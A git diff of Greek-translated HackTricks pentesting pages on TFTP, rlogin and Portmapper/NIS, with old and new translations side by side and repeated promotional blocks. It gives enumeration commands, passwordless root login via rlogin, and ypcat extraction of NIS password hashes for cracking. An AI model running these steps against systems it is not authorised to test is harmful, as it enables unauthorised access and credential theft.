Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -12,12 +12,16 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Βασικές Πληροφορίες
Το **Trivial File Transfer Protocol (TFTP)** είναι ένα απλό πρωτόκολλο που χρησιμοποιείται στη θύρα **UDP 69** και επιτρέπει τη μεταφορά αρχείων χωρίς την ανάγκη πιστοποίησης. Επισημαίνεται στο **RFC 1350**, η απλότητά του σημαίνει ότι λείπουν σημαντικά χαρακτηριστικά ασφαλείας, οδηγώντας σε περιορισμένη χρήση στο δημόσιο Διαδίκτυο. Ωστόσο, το **TFTP** χρησιμοποιείται εκτενώς σε μεγάλα εσωτερικά δίκτυα για τη διανομή αρχείων ρυθμίσεων και εικόνων ROM σε συσκευές όπως τα **VoIP handsets**, χάρη στην αποδοτικότητά του σε αυτά τα συγκεκριμένα σενάρια.
Το **Trivial File Transfer Protocol (TFTP)** είναι ένα απλό πρωτόκολλο που χρησιμοποιείται στη θύρα **UDP 69** και επιτρέπει μεταφορές αρχείων χωρίς την ανάγκη ελέγχου ταυτότητας. Επισημαίνεται στο **RFC 1350**, η απλότητά του σημαίνει ότι λείπουν βασικά χαρακτηριστικά ασφαλείας, οδηγώντας σε περιορισμένη χρήση στο διαδίκτυο. Ωστόσο, το **TFTP** χρησιμοποιείται εκτενώς σε μεγάλα εσωτερικά δίκτυα για τη διανομή **αρχείων ρυθμίσεων** και **εικόνων ROM** σε συσκευές όπως τα **VoIP handsets**, χάρη στην αποτελεσματικότητά του σε αυτά τα συγκεκριμένα σενάρια.
**TODO**: Παρέχετε πληροφορίες σχετικά με το τι είναι ένα Bittorrent-tracker (Το Shodan αναγνωρίζει αυτήν τη θύρα με αυτό το όνομα). Εάν έχετε περισσότερες πληροφορίες για αυτό, ενημερώστε μας για παράδειγμα στην [**ομάδα telegram του HackTricks**](https://t.me/peass) (ή σε ένα θέμα του github στο [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**TODO**: Παρέχετε πληροφορίες σχετικά με το τι είναι ένα Bittorrent-tracker (Το Shodan αναγνωρίζει αυτήν τη θύρα με αυτό το όνομα). Αν έχετε περισσότερες πληροφορίες γι' αυτό, ενημερώστε μας για παράδειγμα στην [**ομάδα telegram του HackTricks**](https://t.me/peass) (ή σε ένα θέμα στο github στο [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**Προεπιλεγμένη Θύρα:** 69/UDP
```
@ -26,13 +30,13 @@ PORT STATE SERVICE REASON
```
# Απαρίθμηση
Το TFTP δεν παρέχει λίστα καταλόγου, οπότε το σενάριο `tftp-enum` από το `nmap` θα προσπαθήσει να εκτελέσει βίαιη επίθεση στις προεπιλεγμένες διαδρομές.
Το TFTP δεν παρέχει λίστα καταλόγου, οπότε το script `tftp-enum` από το `nmap` θα προσπαθήσει να κάνει βίαιη είσοδο σε προεπιλεγμένα μονοπάτια.
```bash
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
```
## Λήψη/Μεταφόρτωση
## Λήψη/Αποστολή
Μπορείτε να χρησιμοποιήσετε το Metasploit ή την Python για να ελέγξετε αν μπορείτε να κατεβάσετε/ανεβάσετε αρχεία:
Μπορείτε να χρησιμοποιήσετε το Metasploit ή την Python για να ελέγξετε αν μπορείτε να κάνετε λήψη/αποστολή αρχείων:
```bash
msf5> auxiliary/admin/tftp/tftp_transfer_util
```
@ -48,16 +52,21 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
* `port:69`
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,22 +1,27 @@
# 513 - Ελεγκτική Δοκιμή Rlogin
# 513 - Ελεγχος Εισβολής Rlogin
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες
Στο παρελθόν, το **rlogin** χρησιμοποιούνταν ευρέως για εργασίες απομακρυσμένης διαχείρισης. Ωστόσο, λόγω ανησυχιών σχετικά με την ασφάλειά του, έχει καταργηθεί σε μεγάλο βαθμό από το **slogin** και το **ssh**. Αυτές οι νεότερες μέθοδοι παρέχουν βελτιωμένη ασφάλεια για απομακρυσμένες συνδέσεις.
Στο παρελθόν, το **rlogin** χρησιμοποιήθηκε ευρέως για εργασίες απομακρυσμένης διαχείρισης. Ωστόσο, λόγω ανησυχιών σχετικά με την ασφάλειά του, έχει κυρίως αντικατασταθεί από τα **slogin** και **ssh**. Αυτές οι νεότερες μεθόδοι παρέχουν βελτιωμένη ασφάλεια για απομακρυσμένες συνδέσεις.
**Προεπιλεγμένη θύρα:** 513
```
@ -28,25 +33,30 @@ PORT STATE SERVICE
# Install client
apt-get install rsh-client
```
Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να προσπαθήσετε να **συνδεθείτε** σε ένα απομακρυσμένο σύστημα όπου δεν απαιτείται κωδικός πρόσβασης. Δοκιμάστε να χρησιμοποιήσετε το **root** ως όνομα χρήστη:
Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να δοκιμάσετε να **συνδεθείτε** σε ένα απομακρυσμένο υπολογιστή όπου **δεν απαιτείται κωδικός πρόσβασης**. Δοκιμάστε να χρησιμοποιήσετε το **root** ως όνομα χρήστη:
```bash
rlogin <IP> -l <username>
```
### [Βίαιη επίθεση](../generic-methodologies-and-resources/brute-force.md#rlogin)
### [Χαμηλής ισχύος επίθεση](../generic-methodologies-and-resources/brute-force.md#rlogin)
## Εύρεση αρχείων
```
find / -name .rhosts
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.

View file

@ -1,22 +1,27 @@
# 111/TCP/UDP - Ελεγκτής Εισροής Επιθέσεων (Pentesting Portmapper)
# 111/TCP/UDP - Ελεγχος ασφάλειας Portmapper
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες
Ο **Ελεγκτής Εισροής Επιθέσεων (Portmapper)** είναι ένας υπηρεσία που χρησιμοποιείται για την αντιστοίχιση των θυρών των υπηρεσιών δικτύου σε αριθμούς προγραμμάτων **RPC (Remote Procedure Call)**. Λειτουργεί ως ένα κρίσιμο συστατικό στα **συστήματα βασισμένα σε Unix**, διευκολύνοντας την ανταλλαγή πληροφοριών μεταξύ αυτών των συστημάτων. Η **θύρα** που συσχετίζεται με τον **Ελεγκτή Εισροής Επιθέσεων** συχνά σαρώνεται από επιτιθέμενους καθώς μπορεί να αποκαλύψει πολύτιμες πληροφορίες. Αυτές οι πληροφορίες περιλαμβάνουν τον τύπο του λειτουργικού συστήματος **Unix (OS)** που εκτελείται και λεπτομέρειες για τις υπηρεσίες που είναι διαθέσιμες στο σύστημα. Επιπλέον, ο **Ελεγκτής Εισροής Επιθέσεων** χρησιμοποιείται συχνά σε συνδυασμό με το **NFS (Network File System)**, το **NIS (Network Information Service)** και άλλες **υπηρεσίες βασισμένες σε RPC** για την αποτελεσματική διαχείριση των υπηρεσιών δικτύου.
Το **Portmapper** είναι ένας υπηρεσία που χρησιμοποιείται για την αντιστοίχιση των θυρών υπηρεσιών δικτύου σε αριθμούς προγραμμάτων **RPC** (Remote Procedure Call). Λειτουργεί ως κρίσιμο στοιχείο σε **συστήματα Unix**, διευκολύνοντας την ανταλλαγή πληροφοριών μεταξύ αυτών των συστημάτων. Η **θύρα** που σχετίζεται με το **Portmapper** συχνά σαρώνεται από επιτιθέμενους καθώς μπορεί να αποκαλύψει πολύτιμες πληροφορίες. Αυτές οι πληροφορίες περιλαμβάνουν τον τύπο του **Λειτουργικού Συστήματος Unix (OS)** που εκτελείται και λεπτομέρειες σχετικά με τις υπηρεσίες που είναι διαθέσιμες στο σύστημα. Επιπλέον, το **Portmapper** χρησιμοποιείται συχνά σε συνδυασμό με το **NFS (Network File System)**, το **NIS (Network Information Service)** και άλλες **υπηρεσίες βασισμένες σε RPC** για τη διαχείριση των υπηρεσιών δικτύου με αποτελεσματικό τρόπο.
**Προεπιλεγμένη θύρα:** 111/TCP/UDP, 32771 στο Oracle Solaris
```
@ -24,43 +29,31 @@ PORT STATE SERVICE
111/tcp open rpcbind
```
## Απαρίθμηση
Η απαρίθμηση είναι η διαδικασία εντοπισμού και συλλογής πληροφοριών για το σύστημα που εξετάζεται. Αυτή η διαδικασία είναι σημαντική για την κατανόηση του συστήματος και των δυνητικών ευπαθειών του. Κατά τη διάρκεια της απαρίθμησης, μπορούν να χρησιμοποιηθούν διάφορες τεχνικές για την εξαγωγή πληροφοριών, όπως η σάρωση θυρών, η ανάλυση πρωτοκόλλων και η ανίχνευση υπηρεσιών.
Οι υπηρεσίες RPC (Remote Procedure Call) είναι ένα πρωτόκολλο που επιτρέπει σε έναν υπολογιστή να καλεί διαδικασίες σε άλλους υπολογιστές σε απομακρυσμένα δίκτυα. Οι υπηρεσίες αυτές μπορούν να είναι ευάλωτες σε επιθέσεις, επομένως είναι σημαντικό να εξετάζονται κατά τη διάρκεια της απαρίθμησης.
Για να εντοπιστούν οι υπηρεσίες RPC, μπορούν να χρησιμοποιηθούν εργαλεία όπως το `rpcinfo` και το `showmount`. Αυτά τα εργαλεία μπορούν να ανακαλύψουν τις υπηρεσίες RPC που εκτελούνται σε έναν συγκεκριμένο υπολογιστή και να επιστρέψουν πληροφορίες σχετικά με αυτές.
Μετά την εντοπισμό των υπηρεσιών RPC, μπορούν να γίνουν περαιτέρω ερευνητικές εργασίες για τον εντοπισμό πιθανών ευπαθειών και εκμεταλλεύσιμων κενών ασφαλείας. Αυτό μπορεί να περιλαμβάνει την ανάλυση των πρωτοκόλλων που χρησιμοποιούνται από τις υπηρεσίες RPC και την εκτέλεση επιθέσεων όπως η επίθεση buffer overflow.
```
rpcinfo irked.htb
nmap -sSUC -p111 192.168.10.1
```
Μερικές φορές δεν σας δίνει καμία πληροφορία, σε άλλες περιπτώσεις θα λάβετε κάτι τέτοιο:
![](<../.gitbook/assets/image (230).png>)
### Shodan
* `port:111 portmap`
## RPCBind + NFS
Εάν βρείτε την υπηρεσία NFS, τότε πιθανώς θα μπορείτε να καταλογογραφήσετε και να κατεβάσετε (και ίσως να ανεβάσετε) αρχεία:
Αν βρείτε την υπηρεσία NFS τότε πιθανότατα θα μπορείτε να κάνετε λίστα και λήψη (και ίσως μεταφόρτωση) αρχείων:
![](<../.gitbook/assets/image (232).png>)
![](<../.gitbook/assets/image (869).png>)
Διαβάστε [2049 - Ελέγχος ασφάλειας της υπηρεσίας NFS](nfs-service-pentesting.md) για να μάθετε περισσότερα σχετικά με το πώς να δοκιμάσετε αυτό το πρωτόκολλο.
Διαβάστε το [2049 - Ελεγχος ασφάλειας υπηρεσίας NFS](nfs-service-pentesting.md) για να μάθετε περισσότερα σχετικά με το πώς να δοκιμάσετε αυτό το πρωτόκολλο.
## NIS
Η εξερεύνηση των ευπαθειών του **NIS** περιλαμβάνει ένα διαδικασία δύο βημάτων, ξεκινώντας με τον εντοπισμό της υπηρεσίας `ypbind`. Ο πυρήνας αυτής της εξερεύνησης είναι η αποκάλυψη του **ονόματος του τομέα NIS**, χωρίς το οποίο η πρόοδος σταματά.
Η εξερεύνηση των ευπαθειών του **NIS** περιλαμβάνει ένα διαδικασία δύο βημάτων, ξεκινώντας με την αναγνώριση της υπηρεσίας `ypbind`. Το κεντρικό σημείο αυτής της εξερεύνησης είναι η αποκάλυψη του **ονόματος του τομέα NIS**, χωρίς το οποίο η πρόοδος σταματά.
![](<../.gitbook/assets/image (233).png>)
![](<../.gitbook/assets/image (856).png>)
Το ταξίδι εξερεύνησης ξεκινά με την εγκατάσταση των απαραίτητων πακέτων (`apt-get install nis`). Το επόμενο βήμα απαιτεί τη χρήση της εντολής `ypwhich` για να επιβεβαιώσετε την παρουσία του διακομιστή NIS προσπελαύνοντάς τον με το όνομα τομέα και τη διεύθυνση IP του διακομιστή, εξασφαλίζοντας ότι αυτά τα στοιχεία είναι ανωνυμοποιημένα για λόγους ασφαλείας.
Το ταξίδι εξερεύνησης ξεκινά με την εγκατάσταση των απαραίτητων πακέτων (`apt-get install nis`). Το επόμενο βήμα απαιτεί τη χρήση της εντολής `ypwhich` για να επιβεβαιώσετε την παρουσία του διακομιστή NIS προσπαθώντας να τον πιάσετε με το όνομα τομέα και τη διεύθυνση IP του διακομιστή, εξασφαλίζοντας ότι αυτά τα στοιχεία είναι ανωνυμοποιημένα για λόγους ασφάλειας.
Το τελικό και κρίσιμο βήμα περιλαμβάνει την εντολή `ypcat` για την εξαγωγή ευαίσθητων δεδομένων, ιδιαίτερα κρυπτογραφημένων κωδικών πρόσβασης χρηστών. Αυτά τα hashes, αφού αποκρυπτογραφηθούν χρησιμοποιώντας εργαλεία όπως το **John the Ripper**, αποκαλύπτουν πληροφορίες σχετικά με την πρόσβαση και τα προνόμια του συστήματος.
Το τελικό και κρίσιμο βήμα περιλαμβάνει την εντολή `ypcat` για την εξαγωγή ευαίσθητων δεδομένων, ιδιαίτερα κρυπτογραφημένων κωδικών χρηστών. Αυτές οι κατακερματισμένες τιμές, με τη χρήση εργαλείων όπως το **John the Ripper**, αποκαλύπτουν πληροφορίες σχετικά με την πρόσβαση στο σύστημα και τα προνόμια.
```bash
# Install NIS tools
apt-get install nis
@ -69,27 +62,26 @@ ypwhich -d <domain-name> <server-ip>
# Extract user credentials
ypcat d <domain-name> h <server-ip> passwd.byname
```
### Αρχεία NIF
### NIF αρχεία
| **Αρχείο Master** | **Χάρτης(ες)** | **Σημειώσεις** |
| ---------------- | --------------------------- | ---------------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | Περιέχει τα ονόματα των κεντρικών υπολογιστών και τις λεπτομέρειες των IP |
| /etc/passwd | passwd.byname, passwd.byuid | Αρχείο κωδικών χρηστών NIS |
| /etc/group | group.byname, group.bygid | Αρχείο ομάδων NIS |
| /usr/lib/aliases | mail.aliases | Λεπτομέρειες για τις αντιστοιχίες των email |
| **Αρχείο Master** | **Χάρτης(ες)** | **Σημειώσεις** |
| ----------------- | -------------------------- | ------------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | Περιέχει ονόματα κεντρικού υπολογιστή και λεπτομέρειες IP |
| /etc/passwd | passwd.byname, passwd.byuid| Αρχείο κωδικού πρόσβασης χρήστη NIS |
| /etc/group | group.byname, group.bygid | Αρχείο ομάδας NIS |
| /usr/lib/aliases | mail.aliases | Λεπτομέρειες αλληλογραφίας αλληλογραφίας |
## Χρήστες RPC
Εάν βρείτε την υπηρεσία **rusersd** που εμφανίζεται ως εξής:
Εάν βρείτε την υπηρεσία **rusersd** καταχωρημένη όπως παρακάτω:
![](<../.gitbook/assets/image (231).png>)
![](<../.gitbook/assets/image (1038).png>)
Μπορείτε να απαριθμήσετε τους χρήστες του συστήματος. Για να μάθετε πώς να το κάνετε, διαβάστε το [1026 - Ελέγχος ασφάλειας Rsusersd](1026-pentesting-rusersd.md).
## Παράκαμψη φίλτρου στη θύρα Portmapper
Όταν πραγματοποιείτε ένα **σάρωση nmap** και ανακαλύπτετε ανοιχτές θύρες NFS με τη θύρα 111 να είναι φιλτραρισμένη, η άμεση εκμετάλλευση αυτών των θυρών δεν είναι εφικτή. Ωστόσο, με το **προσομοιωτή της υπηρεσίας portmapper τοπικά και τη δημιουργία ενός τούνελ από τον υπολογιστή σας** προς τον στόχο, η εκμετάλλευση γίνεται δυνατή χρησιμοποιώντας τα κανονικά εργαλεία. Αυτή η τεχνική επιτρέπει την παράκαμψη της φιλτραρισμένης κατάστασης της θύρας 111, επιτρέποντας έτσι την πρόσβαση στις υπηρεσίες NFS. Για λεπτομερείς οδηγίες για αυτήν τη μέθοδο, ανατρέξτε στο άρθρο που είναι διαθέσιμο στον ακόλουθο σύνδεσμο: [αυτός ο σύνδεσμος](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
## Παράκαμψη Φιλτραρισμένης Θύρας Portmapper
Κατά τη διεξαγωγή ενός **σάρωσης nmap** και ανακάλυψης ανοικτών θυρών NFS με τη θύρα 111 να είναι φιλτραρισμένη, η άμεση εκμετάλλευση αυτών των θυρών δεν είναι εφικτή. Ωστόσο, με το **προσομοίωση μιας υπηρεσίας portmapper τοπικά και δημιουργώντας ένα τούνελ από τον υπολογιστή σας** προς τον στόχο, γίνεται δυνατή η εκμετάλλευση χρησιμοποιώντας τυπικά εργαλεία. Αυτή η τεχνική επιτρέπει την παράκαμψη της φιλτραρισμένης κατάστασης της θύρας 111, επιτρέποντας έτσι την πρόσβαση σε υπηρεσίες NFS. Για λεπτομερείς οδηγίες για αυτήν τη μέθοδο, ανατρέξτε στο άρθρο που είναι διαθέσιμο στο [αυτό το σύνδεσμο](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
## Shodan
@ -97,9 +89,13 @@ ypcat d <domain-name> h <server-ip> passwd.byname
## Εργαστήρια για εξάσκηση
* Εξασκηθείτε σε αυτές τις τεχνικές στη μηχανή [**Irked HTB**](https://app.hackthebox.com/machines/Irked).
* Εξασκηθείτε σε αυτές τις τεχνικές στη [**μηχανή Irked HTB**](https://app.hackthebox.com/machines/Irked).
## Αυτόματες εντολές HackTricks
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Αυτόματες Εντολές HackTricks
```
Protocol_Name: Portmapper #Protocol Abbreviation if there is one.
Port_Number: 43 #Comma separated if there is more than one.
@ -125,14 +121,14 @@ Command: nmap -sSUC -p 111 {IP}
```
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
